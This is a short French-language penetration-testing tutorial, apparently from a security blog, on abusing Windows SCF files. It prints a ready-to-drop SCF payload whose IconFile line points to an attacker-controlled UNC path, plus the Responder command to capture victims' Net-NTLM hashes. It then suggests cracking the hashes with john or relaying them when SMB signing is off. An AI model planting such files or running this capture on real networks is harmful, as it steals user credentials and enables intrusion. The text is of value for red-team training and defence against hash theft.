Exploitation des fichiers SCF

Un fichier SCF pour Shell Command File est un type de fichier utilisé sous Windows permettant de manipuler l'explorateur Windows. Parmi les instructions composant un fichier SCF il y en a une qui va nous fortement nous intéresse: IconFile.

Voici à quoi ressemble notre payload SCF:

[Shell]
Command=2
IconFile=\\10.0.2.1\public\whiteflag.ico
[Taskbar]
Command=ToggleDesktop

Comme vous pouvez le voir l'option IconFile nous permet de spécifier un path UNC pointant sur le share public et plus précisement sur le fichier whiteflag.ico.

Un attaquant qui aurait un accès en écriture sur un share SMB pourrait déposer ce fichier sur le share distant puis mettre en écoute Responder de manière à intercepter la connexion SMB venant de la victime:

./Responder.py -wrf -I enp0s31f6

Ainsi dès qu'un utilisateur se rendra sur le share légitime, une requête SMB sera émise vers l'IP de l'attaquant et ce dernier recevra un hash Net-NTLM:

Comme toujours avec du Net-NTLM, nous pourrons soit cracker le hash via john, soit relayer le hash si le SMB signing n'est pas activé :) !